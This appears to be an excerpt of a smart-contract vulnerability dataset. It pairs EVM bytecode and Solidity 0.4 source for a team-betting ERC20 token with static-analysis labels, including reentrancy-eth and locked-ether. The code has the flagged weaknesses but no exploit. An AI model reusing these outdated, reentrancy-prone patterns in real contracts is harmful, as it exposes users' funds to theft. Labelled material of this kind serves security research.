0x6080604052600436106100c45763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630c3f64bf81146100c65780630efcf295146100fb5780631785f53c1461011357806324d7806c146101345780632b7832b3146101555780632c2966561461017c578063372cd1831461019457806339f636ab146101bd5780638d068043146101d5578063a553506e146101ea578063af1c084d1461021b578063cebc141a1461023c578063fcf2f85f14610251575b005b3480156100d257600080fd5b506100e7600160a060020a0360043516610266565b604080519115158252519081900360200190f35b34801561010757600080fd5b506100c4600435610289565b34801561011f57600080fd5b506100c4600160a060020a036004351661030b565b34801561014057600080fd5b506100e7600160a060020a03600435166106ee565b34801561016157600080fd5b5061016a61070c565b60408051918252519081900360200190f35b34801561018857600080fd5b506100c4600435610712565b3480156101a057600080fd5b506100c4600160a060020a036004351660243560443515156108a2565b3480156101c957600080fd5b506100c4600435610a3c565b3480156101e157600080fd5b5061016a610bcc565b3480156101f657600080fd5b50610202600435610bd2565b6040805192835260208301919091528051918290030190f35b34801561022757600080fd5b5061016a600160a060020a0360043516610c87565b34801561024857600080fd5b5061016a610ca6565b34801561025d57600080fd5b5061016a610cac565b600160a060020a0316600090815260016020526040902054610100900460ff1690565b33600090815260016020819052604090912054610100900460ff161515146102fd576040805160e560020a62461bcd028152602060048201526029602482015260008051602061101b833981519152604482015260008051602061103b833981519152606482015290519081900360840190fd5b610308600082610cb2565b50565b33600090815260016020819052604090912054610100900460ff1615151461037f576040805160e560020a62461bcd028152602060048201526029602482015260008051602061101b833981519152604482015260008051602061103b833981519152606482015290519081900360840190fd5b6002546000106103ed576040805160e560020a62461bcd0281526020600482015260336024820152600080516020610ffb83398151915260448201527f206c657373207468616e20312061646d696e7300000000000000000000000000606482015290519081900360840190fd5b6004546002541015610483576040805160e560020a62461bcd02815260206004820152604f6024820152600080516020610ffb83398151915260448201527f206c6573732061646d696e73207468616e206e756d626572206f66207265717560648201527f69726564207369676e6174757265730000000000000000000000000000000000608482015290519081900360a40190fd5b600160a060020a038116600090815260016020819052604090912054610100900460ff16151514156105b35760035460001061051d576040805160e560020a62461bcd0281526020600482015260316024820152600080516020610ffb83398151915260448201527f206c657373207468616e20312064657673000000000000000000000000000000606482015290519081900360840190fd5b60055460035410156105b3576040805160e560020a62461bcd0281526020600482015260516024820152600080516020610ffb83398151915260448201527f206c6573732064657673207468616e206e756d626572206f662072657175697260648201527f656420646576207369676e617475726573000000000000000000000000000000608482015290519081900360a40190fd5b6105e160006005547f72656d6f766541646d696e000000000000000000000000000000000000000000610d64565b1515600114156103085761061660007f72656d6f766541646d696e000000000000000000000000000000000000000000610cb2565b600160a060020a03811660009081526001602081905260409091205460ff161515141561067e57600160a060020a0381166000908152600160208190526040909120805460ff1916905560028054600019019055600454111561067e57600480546000190190555b600160a060020a038116600090815260016020819052604090912054610100900460ff161515141561030857600160a060020a0381166000908152600160208190526040909120805461ff0019169055600380546000190190556005541115610308576005805460001901905550565b600160a060020a031660009081526001602052604090205460ff1690565b60025490565b33600090815260016020819052604090912054610100900460ff16151514610786576040805160e560020a62461bcd028152602060048201526029602482015260008051602061101b833981519152604482015260008051602061103b833981519152606482015290519081900360840190fd5b60008111801561079857506003548111155b151561083a576040805160e560020a62461bcd02815260206004820152604960248201527f6368616e676552657175697265644465765369676e617475726573206661696c60448201527f6564202d206d757374206265206265747765656e203120616e64206e756d626560648201527f72206f6620646576730000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b61086860006005547f6368616e676552657175697265644465765369676e6174757265730000000000610d64565b1515600114156103085761089d60007f6368616e676552657175697265644465765369676e6174757265730000000000610cb2565b600555565b33600090815260016020819052604090912054610100900460ff16151514610916576040805160e560020a62461bcd028152602060048201526029602482015260008051602061101b833981519152604482015260008051602061103b833981519152606482015290519081900360840190fd5b61094460006005547f61646441646d696e000000000000000000000000000000000000000000000000610d64565b151560011415610a1b5761097960007f61646441646d696e000000000000000000000000000000000000000000000000610cb2565b600160a060020a03831660009081526001602052604090205460ff1615156109d257600160a060020a0383166000908152600160208190526040909120805460ff19168217905560028054820190556004805490910190555b60018115151415610a1b57600160a060020a0383166000908152600160208190526040909120805461ff0019166101008415150217905560038054820190556005805490910190555b50600160a060020a0390911660009081526001602081905260409091200155565b33600090815260016020819052604090912054610100900460ff16151514610ab0576040805160e560020a62461bcd028152602060048201526029602482015260008051602061101b833981519152604482015260008051602061103b833981519152606482015290519081900360840190fd5b600081118015610ac257506002548111155b1515610b64576040805160e560020a62461bcd02815260206004820152604860248201527f6368616e676552657175697265645369676e617475726573206661696c65642060448201527f2d206d757374206265206265747765656e203120616e64206e756d626572206f60648201527f662061646d696e73000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b610b9260006005547f6368616e676552657175697265645369676e6174757265730000000000000000610d64565b15156001141561030857610bc760007f6368616e676552657175697265645369676e6174757265730000000000000000610cb2565b600455565b60045490565b336000908152600160208190526040822054829160ff909116151514610c68576040805160e560020a62461bcd02815260206004820152602e60248201527f6f6e6c7941646d696e73206661696c6564202d206d73672e73656e646572206960448201527f73206e6f7420616e2061646d696e000000000000000000000000000000000000606482015290519081900360840190fd5b610c73600084610f1b565b610c7e600085610f3f565b91509150915091565b600160a060020a03166000908152600160208190526040909120015490565b60035490565b60055490565b6000806000610cc084610f66565b9250600090505b600083815260208690526040902060010154811015610d4957600083815260208681526040808320848452600381018084528285208054600160a060020a031680875260029093018552928520805460ff191690559385905292909152805473ffffffffffffffffffffffffffffffffffffffff191690559150600101610cc7565b50506000908152602092909252506040812081815560010155565b6000806000806000610d7586610f66565b600081815260208a905260408082206001015490519296509450339350903690808383808284376040519201829003909120945050508415159150610e3f905057600084815260208981526040808320848155600160a060020a038616808552600282018452828520805460ff19166001908117909155888652600383018552928520805473ffffffffffffffffffffffffffffffffffffffff1916909117905592879052908a9052908101805490910190819055871415610e3a5760019450610f10565b610f10565b600084815260208990526040902054811415610f1057600084815260208981526040808320600160a060020a038616845260020190915290205460ff161515610ef257600084815260208981526040808320600160a060020a038616808552600282018452828520805460ff19166001908117909155888652600383018552928520805473ffffffffffffffffffffffffffffffffffffffff1916909117905592879052908a9052908101805490910190555b600084815260208990526040902060010154871415610f1057600194505b505050509392505050565b600080610f2783610f66565b60009081526020949094525050604090912054919050565b600080610f4b83610f66565b60009081526020949094525050604090912060010154919050565b6040805160208082018490526c01000000000000000000000000300282840152825160348184030181526054909201928390528151600093918291908401908083835b60208310610fc85780518252601f199092019160209182019101610fa9565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912095945050505050560072656d6f766541646d696e206661696c6564202d2063616e6e6f7420686176656f6e6c7944657673206661696c6564202d206d73672e73656e646572206973206e6f742061206465760000000000000000000000000000000000000000000000a165627a7a7230582053f0ddad4ffe93663609170c4c6d54cdccd990a0557fb97eb48fd0d8abdfeb2b0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,198 |
0xd1a1929a2ff7ac033ed516430d0774e70c4ffb19
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/ownership/Ownable.sol
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title StandardToken
* @dev https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/StandardToken.sol
* @dev Standard ERC20 token
*/
contract StandardToken {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) internal balances_;
mapping(address => mapping(address => uint256)) internal allowed_;
uint256 internal totalSupply_;
string public name;
string public symbol;
uint8 public decimals;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances_[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed_ to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed_[_owner][_spender];
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances_[msg.sender]);
balances_[msg.sender] = balances_[msg.sender].sub(_value);
balances_[_to] = balances_[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances_[_from]);
require(_value <= allowed_[_from][msg.sender]);
balances_[_from] = balances_[_from].sub(_value);
balances_[_to] = balances_[_to].add(_value);
allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
}
/**
* @title EthTeamContract
* @dev The team token. One token represents a team. EthTeamContract is also a ERC20 standard token.
*/
contract EthTeamContract is StandardToken, Ownable {
event Buy(address indexed token, address indexed from, uint256 value, uint256 weiValue);
event Sell(address indexed token, address indexed from, uint256 value, uint256 weiValue);
event BeginGame(address indexed team1, address indexed team2, uint64 gameTime);
event EndGame(address indexed team1, address indexed team2, uint8 gameResult);
event ChangeStatus(address indexed team, uint8 status);
/**
* @dev Token price based on ETH
*/
uint256 public price;
/**
* @dev status=0 buyable & sellable, user can buy or sell the token.
* status=1 not buyable & not sellable, user cannot buy or sell the token.
*/
uint8 public status;
/**
* @dev The game start time. gameTime=0 means game time is not enabled or not started.
*/
uint64 public gameTime;
/**
* @dev If the time is older than FinishTime (usually one month after game).
* The owner has permission to transfer the balance to the feeOwner.
* The user can get back the balance using the website after this time.
*/
uint64 public finishTime;
/**
* @dev The fee owner. The fee will send to this address.
*/
address public feeOwner;
/**
* @dev Game opponent, gameOpponent is also a EthTeamContract.
*/
address public gameOpponent;
/**
* @dev Team name and team symbol will be ERC20 token name and symbol. Token decimals will be 3.
* Token total supply will be 0. The initial price will be 1 szabo (1000000000000 Wei)
*/
function EthTeamContract(
string _teamName, string _teamSymbol, address _gameOpponent, uint64 _gameTime, uint64 _finishTime, address _feeOwner
) public {
name = _teamName;
symbol = _teamSymbol;
decimals = 3;
totalSupply_ = 0;
price = 1 szabo;
gameOpponent = _gameOpponent;
gameTime = _gameTime;
finishTime = _finishTime;
feeOwner = _feeOwner;
owner = msg.sender;
}
/**
* @dev Sell Or Transfer the token.
*
* Override ERC20 transfer token function. If the _to address is not this EthTeamContract,
* then call the super transfer function, which will be ERC20 token transfer.
* Otherwise, the user want to sell the token (EthTeamContract -> ETH).
* @param _to address The address which you want to transfer/sell to
* @param _value uint256 the amount of tokens to be transferred/sold
*/
function transfer(address _to, uint256 _value) public returns (bool) {
if (_to != address(this)) {
return super.transfer(_to, _value);
}
// We are only allowed to sell after end of game
require(_value <= balances_[msg.sender] && status == 0 && gameTime == 0);
balances_[msg.sender] = balances_[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
uint256 weiAmount = price.mul(_value);
msg.sender.transfer(weiAmount);
emit Transfer(msg.sender, _to, _value);
emit Sell(_to, msg.sender, _value, weiAmount);
return true;
}
/**
* @dev Buy token using ETH
* User send ETH to this EthTeamContract, then his token balance will be increased based on price.
* The total supply will also be increased.
*/
function() payable public {
// We are not allowed to buy after game start
require(status == 0 && price > 0 && gameTime > block.timestamp);
uint256 amount = msg.value.div(price);
balances_[msg.sender] = balances_[msg.sender].add(amount);
totalSupply_ = totalSupply_.add(amount);
emit Transfer(address(this), msg.sender, amount);
emit Buy(address(this), msg.sender, amount, msg.value);
}
/**
* @dev The the game status.
*
* status = 0 buyable & sellable, user can buy or sell the token.
* status=1 not buyable & not sellable, user cannot buy or sell the token.
* @param _status The game status.
*/
function changeStatus(uint8 _status) onlyOwner public {
require(status != _status);
status = _status;
emit ChangeStatus(address(this), _status);
}
/**
* @dev Change the fee owner.
*
* @param _feeOwner The new fee owner.
*/
function changeFeeOwner(address _feeOwner) onlyOwner public {
require(_feeOwner != feeOwner && _feeOwner != address(0));
feeOwner = _feeOwner;
}
/**
* @dev Finish the game
*
* If the time is older than FinishTime (usually one month after game).
* The owner has permission to transfer the balance to the feeOwner.
* The user can get back the balance using the website after this time.
*/
function finish() onlyOwner public {
require(block.timestamp >= finishTime);
feeOwner.transfer(address(this).balance);
}
/**
* @dev Start the game
*
* Start a new game. Initialize game opponent, game time and status.
* @param _gameOpponent The game opponent contract address
* @param _gameTime The game begin time. optional
*/
function beginGame(address _gameOpponent, uint64 _gameTime) onlyOwner public {
require(_gameOpponent != address(this));
// 1514764800 = 2018-01-01
require(_gameTime == 0 || (_gameTime > 1514764800));
gameOpponent = _gameOpponent;
gameTime = _gameTime;
status = 0;
emit BeginGame(address(this), _gameOpponent, _gameTime);
}
/**
* @dev End the game with game final result.
*
* The function only allow to be called with the lose team or the draw team with large balance.
* We have this rule because the lose team or draw team will large balance need transfer balance to opposite side.
* This function will also change status of opposite team by calling transferFundAndEndGame function.
* So the function only need to be called one time for the home and away team.
* The new price will be recalculated based on the new balance and total supply.
*
* Balance transfer rule:
* 1. The rose team will transfer all balance to opposite side.
* 2. If the game is draw, the balances of two team will go fifty-fifty.
* 3. If game is canceled, the balance is not touched and the game states will be reset to initial states.
* 4. The fee will be 5% of each transfer amount.
* @param _gameOpponent The game opponent contract address
* @param _gameResult game result. 1=lose, 2=draw, 3=cancel, 4=win (not allow)
*/
function endGame(address _gameOpponent, uint8 _gameResult) onlyOwner public {
require(gameOpponent != address(0) && gameOpponent == _gameOpponent);
uint256 amount = address(this).balance;
uint256 opAmount = gameOpponent.balance;
require(_gameResult == 1 || (_gameResult == 2 && amount >= opAmount) || _gameResult == 3);
EthTeamContract op = EthTeamContract(gameOpponent);
if (_gameResult == 1) {
// Lose
if (amount > 0 && totalSupply_ > 0) {
uint256 lostAmount = amount;
// If opponent has supply
if (op.totalSupply() > 0) {
// fee is 5%
uint256 feeAmount = lostAmount.div(20);
lostAmount = lostAmount.sub(feeAmount);
feeOwner.transfer(feeAmount);
op.transferFundAndEndGame.value(lostAmount)();
} else {
// If opponent has not supply, then send the lose money to fee owner.
feeOwner.transfer(lostAmount);
op.transferFundAndEndGame();
}
} else {
op.transferFundAndEndGame();
}
} else if (_gameResult == 2) {
// Draw
if (amount > opAmount) {
lostAmount = amount.sub(opAmount).div(2);
if (op.totalSupply() > 0) {
// fee is 5%
feeAmount = lostAmount.div(20);
lostAmount = lostAmount.sub(feeAmount);
feeOwner.transfer(feeAmount);
op.transferFundAndEndGame.value(lostAmount)();
} else {
feeOwner.transfer(lostAmount);
op.transferFundAndEndGame();
}
} else if (amount == opAmount) {
op.transferFundAndEndGame();
} else {
// should not happen
revert();
}
} else if (_gameResult == 3) {
//canceled
op.transferFundAndEndGame();
} else {
// should not happen
revert();
}
endGameInternal();
if (totalSupply_ > 0) {
price = address(this).balance.div(totalSupply_);
}
emit EndGame(address(this), _gameOpponent, _gameResult);
}
/**
* @dev Reset team token states
*
*/
function endGameInternal() private {
gameOpponent = address(0);
gameTime = 0;
status = 0;
}
/**
* @dev Reset team states and recalculate the price.
*
* This function will be called by opponent team token after end game.
* It accepts the ETH transfer and recalculate the new price based on
* new balance and total supply.
*/
function transferFundAndEndGame() payable public {
require(gameOpponent != address(0) && gameOpponent == msg.sender);
if (msg.value > 0 && totalSupply_ > 0) {
price = address(this).balance.div(totalSupply_);
}
endGameInternal();
}
}
|
0x6080604052600436106101185763ffffffff60e060020a600035041662203116811461024f57806306fdde0314610278578063095ea7b31461030257806318160ddd1461033a578063200d2ed21461036157806323b872dd1461038c578063313ce567146103b65780635958611e146103cb57806370a08231146103fd57806384465fa51461041e5780638da5cb5b1461043f57806395bc95381461047057806395d89b411461048b57806397b817c9146104a0578063a035b1fe146104ce578063a5d1c0c0146104e3578063a9059cbb146104f8578063b9818be11461051c578063c8a5e6d714610531578063d56b288914610539578063dd62ed3e1461054e578063f2fde38b14610575578063fef8383e14610596575b60075460009060ff1615801561013057506000600654115b801561014d57506007544261010090910467ffffffffffffffff16115b151561015857600080fd5b60065461016c90349063ffffffff6105ab16565b600160a060020a033316600090815260208190526040902054909150610198908263ffffffff6105c016565b600160a060020a0333166000908152602081905260409020556002546101c4908263ffffffff6105c016565b600255604080518281529051600160a060020a033381169230909116916000805160206114b48339815191529181900360200190a333600160a060020a031630600160a060020a03167f89f5adc174562e07c9c9b1cae7109bbecb21cf9d1b2847e550042b8653c54a0e8334604051808381526020018281526020019250505060405180910390a350005b34801561025b57600080fd5b50610276600160a060020a036004351660ff602435166105da565b005b34801561028457600080fd5b5061028d610a6a565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102c75781810151838201526020016102af565b50505050905090810190601f1680156102f45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561030e57600080fd5b50610326600160a060020a0360043516602435610af8565b604080519115158252519081900360200190f35b34801561034657600080fd5b5061034f610b62565b60408051918252519081900360200190f35b34801561036d57600080fd5b50610376610b68565b6040805160ff9092168252519081900360200190f35b34801561039857600080fd5b50610326600160a060020a0360043581169060243516604435610b71565b3480156103c257600080fd5b50610376610cdf565b3480156103d757600080fd5b506103e0610ce8565b6040805167ffffffffffffffff9092168252519081900360200190f35b34801561040957600080fd5b5061034f600160a060020a0360043516610d05565b34801561042a57600080fd5b50610276600160a060020a0360043516610d20565b34801561044b57600080fd5b50610454610da0565b60408051600160a060020a039092168252519081900360200190f35b34801561047c57600080fd5b5061027660ff60043516610db4565b34801561049757600080fd5b5061028d610e3d565b3480156104ac57600080fd5b50610276600160a060020a036004351667ffffffffffffffff60243516610e98565b3480156104da57600080fd5b5061034f610f9c565b3480156104ef57600080fd5b506103e0610fa2565b34801561050457600080fd5b50610326600160a060020a0360043516602435610fb7565b34801561052857600080fd5b50610454611172565b610276611181565b34801561054557600080fd5b506102766111f7565b34801561055a57600080fd5b5061034f600160a060020a036004358116906024351661127b565b34801561058157600080fd5b50610276600160a060020a03600435166112a6565b3480156105a257600080fd5b5061045461134f565b600081838115156105b857fe5b049392505050565b6000828201838110156105cf57fe5b8091505b5092915050565b600554600090819081908190819033600160a060020a03908116610100909204161461060557600080fd5b600954600160a060020a03161580159061062c5750600954600160a060020a038881169116145b151561063757600080fd5b600954600160a060020a033081163196501631935060ff86166001148061066c57508560ff16600214801561066c5750838510155b8061067a57508560ff166003145b151561068557600080fd5b600954600160a060020a0316925060ff8616600114156108d9576000851180156106b157506000600254115b1561087d57849150600083600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156106f957600080fd5b505af115801561070d573d6000803e3d6000fd5b505050506040513d602081101561072357600080fd5b505111156107e65761073c82601463ffffffff6105ab16565b905061074e828263ffffffff61135e16565b600854604051919350600160a060020a03169082156108fc029083906000818181858888f19350505050158015610789573d6000803e3d6000fd5b5082600160a060020a031663c8a5e6d7836040518263ffffffff1660e060020a0281526004016000604051808303818588803b1580156107c857600080fd5b505af11580156107dc573d6000803e3d6000fd5b5050505050610878565b600854604051600160a060020a039091169083156108fc029084906000818181858888f19350505050158015610820573d6000803e3d6000fd5b5082600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561085f57600080fd5b505af1158015610873573d6000803e3d6000fd5b505050505b6108d4565b82600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b1580156108bb57600080fd5b505af11580156108cf573d6000803e3d6000fd5b505050505b6109e5565b8560ff166002141561099b57838511156109505761090e6002610902878763ffffffff61135e16565b9063ffffffff6105ab16565b9150600083600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156106f957600080fd5b838514156109965782600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561085f57600080fd5b600080fd5b8560ff16600314156109965782600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b1580156108bb57600080fd5b6109ed611370565b60006002541115610a1a57600254610a1690600160a060020a033016319063ffffffff6105ab16565b6006555b6040805160ff881681529051600160a060020a03808a169230909116917fca877aac494c1a237a54e53d1cf34403a485633cd56280f38c182df72936526f9181900360200190a350505050505050565b6003805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610af05780601f10610ac557610100808354040283529160200191610af0565b820191906000526020600020905b815481529060010190602001808311610ad357829003601f168201915b505050505081565b600160a060020a03338116600081815260016020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b60075460ff1681565b6000600160a060020a0383161515610b8857600080fd5b600160a060020a038416600090815260208190526040902054821115610bad57600080fd5b600160a060020a0380851660009081526001602090815260408083203390941683529290522054821115610be057600080fd5b600160a060020a038416600090815260208190526040902054610c09908363ffffffff61135e16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610c3e908363ffffffff6105c016565b600160a060020a0380851660009081526020818152604080832094909455878316825260018152838220339093168252919091522054610c84908363ffffffff61135e16565b600160a060020a038086166000818152600160209081526040808320338616845282529182902094909455805186815290519287169391926000805160206114b4833981519152929181900390910190a35060019392505050565b60055460ff1681565b6007546901000000000000000000900467ffffffffffffffff1681565b600160a060020a031660009081526020819052604090205490565b60055433600160a060020a039081166101009092041614610d4057600080fd5b600854600160a060020a03828116911614801590610d665750600160a060020a03811615155b1515610d7157600080fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6005546101009004600160a060020a031681565b60055433600160a060020a039081166101009092041614610dd457600080fd5b60075460ff82811691161415610de957600080fd5b6007805460ff831660ff1990911681179091556040805191825251600160a060020a033016917fb82ce22096c6500c582b45cfbf153014e62fd0cbcccaf9a68dc6bfbd53d875d3919081900360200190a250565b6004805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610af05780601f10610ac557610100808354040283529160200191610af0565b60055433600160a060020a039081166101009092041614610eb857600080fd5b30600160a060020a031682600160a060020a031614151515610ed957600080fd5b67ffffffffffffffff81161580610efd5750635a497a008167ffffffffffffffff16115b1515610f0857600080fd5b6009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038481169182179092556007805468ffffffffffffffff00191661010067ffffffffffffffff86169081029190911760ff1916909155604080519182525191923016917f1892465d280bc871343cfbf3c63bbbc2bee69afc8d669e83d7e94e54d74c8933916020908290030190a35050565b60065481565b600754610100900467ffffffffffffffff1681565b60008030600160a060020a031684600160a060020a0316141515610fe657610fdf84846113a1565b91506105d3565b600160a060020a0333166000908152602081905260409020548311801590611011575060075460ff16155b801561102c5750600754610100900467ffffffffffffffff16155b151561103757600080fd5b600160a060020a033316600090815260208190526040902054611060908463ffffffff61135e16565b600160a060020a03331660009081526020819052604090205560025461108c908463ffffffff61135e16565b6002556006546110a2908463ffffffff61148816565b604051909150600160a060020a0333169082156108fc029083906000818181858888f193505050501580156110db573d6000803e3d6000fd5b5083600160a060020a031633600160a060020a03166000805160206114b4833981519152856040518082815260200191505060405180910390a333600160a060020a031684600160a060020a03167fa082022e93cfcd9f1da5f9236718053910f7e840da080c789c7845698dc032ff8584604051808381526020018281526020019250505060405180910390a35060019392505050565b600854600160a060020a031681565b600954600160a060020a0316158015906111a9575060095433600160a060020a039081169116145b15156111b457600080fd5b6000341180156111c657506000600254115b156111ed576002546111e990600160a060020a033016319063ffffffff6105ab16565b6006555b6111f5611370565b565b60055433600160a060020a03908116610100909204161461121757600080fd5b6007546901000000000000000000900467ffffffffffffffff1642101561123d57600080fd5b600854604051600160a060020a039182169130163180156108fc02916000818181858888f19350505050158015611278573d6000803e3d6000fd5b50565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b60055433600160a060020a0390811661010090920416146112c657600080fd5b600160a060020a03811615156112db57600080fd5b600554604051600160a060020a0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360058054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600954600160a060020a031681565b60008282111561136a57fe5b50900390565b6009805473ffffffffffffffffffffffffffffffffffffffff191690556007805468ffffffffffffffffff19169055565b6000600160a060020a03831615156113b857600080fd5b600160a060020a0333166000908152602081905260409020548211156113dd57600080fd5b600160a060020a033316600090815260208190526040902054611406908363ffffffff61135e16565b600160a060020a03338116600090815260208190526040808220939093559085168152205461143b908363ffffffff6105c016565b600160a060020a03808516600081815260208181526040918290209490945580518681529051919333909316926000805160206114b483398151915292918290030190a350600192915050565b60008083151561149b57600091506105d3565b508282028284828115156114ab57fe5b04146105cf57fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820df5ad5f9b51579140e2ad1a94101f0029ac36ff3bb58a0240cd8d852645d5e730029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,199 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.